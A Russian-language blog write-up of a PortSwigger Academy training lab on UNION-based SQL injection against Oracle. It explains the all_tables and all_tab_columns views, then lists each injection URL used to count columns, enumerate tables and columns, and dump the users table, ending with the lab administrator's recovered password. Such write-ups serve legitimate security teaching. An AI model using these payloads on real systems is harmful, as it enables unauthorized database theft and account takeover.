Найти тему
ЗА ИБАС

[PortSwigger, 10/16 SQLi] Атака SQL-инъекцией, перечисление содержимого базы данных в Oracle

Оглавление

А на подходе 10 лабораторная работа с PortSwigger Academy - SQL injection attack, listing the database contents on Oracle. В ней мы поймем как определять какие таблицы есть в БД, и как можно рыскать внутри них

Да, мем не относится к теме статьи, но он все равно классный. Этого не отнимешь

Душная теория, как вы и любите

В прошлой статье мы обсуждали как получить инфу с БД не Oracle - MySQL, PostgreSQL, Microsoft - суть такая же, но в Oracle синтаксис немного другой

В Oracle вы можете получить ту же информацию с помощью немного разных запросов.

Вы можете получить список таблиц, запросив
all_tables

SELECT * FROM all_tables

И вы можете перечислить столбцы, запросив all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Постановка задачи

Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Результаты запроса возвращаются в ответе приложения, поэтому вы можете использовать атаку UNION для извлечения данных из других таблиц.

Приложение имеет функцию входа в систему, а база данных содержит таблицу с именами пользователей и паролями. Вам нужно определить имя этой таблицы и содержащихся в ней столбцов, а затем получить содержимое таблицы, чтобы получить имя пользователя и пароль всех пользователей.

Чтобы выполнить лабораторную работу, войдите в систему как
administrator.

Решение лабораторной

Поймем сколько столбцов содержится в БД

https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT NULL, NULL FROM all_tables--
-2

Поймем, что их две из них имеют текстовый формат

https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT 'a', 'a' FROM all_tables--
-3

Далее из чеклиста возьмем список всех table_name из all_tab_columns

https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT table_name, NULL FROM all_tab_columns--
-4

И получаем большой список таблиц

Применим любимую клавишу CTRL+F для поиска подходящей для выполнения задания таблицы - users. Нашли таблицу USERS_GPWCAT, отнесемся к ней повнимательнее

https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT column_name, NULL FROM all_tab_columns where table_name = 'USERS_GPWCAT'--
-5

Поймем, что там содержатся 2 столбца с названиями PASSWORD_QHDHMT и USERNAME_TIJGFE по ним и выполним поиск

https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT PASSWORD_QHDHMT, USERNAME_TIJGFE FROM USERS_GPWCAT--
-6

И видим креды админа administrator - ayh17i6302hu7zgq7u6k

Без зазрения совести летим и авторизуемся, и получаем заветное поздравление о решении лабы

-7

Спасибо за внимание. Это была 10-тая статья, наш маленький юбилей

До встречи!

Не знаю кто такой Стас, но желаю ему всего хорошего
Не знаю кто такой Стас, но желаю ему всего хорошего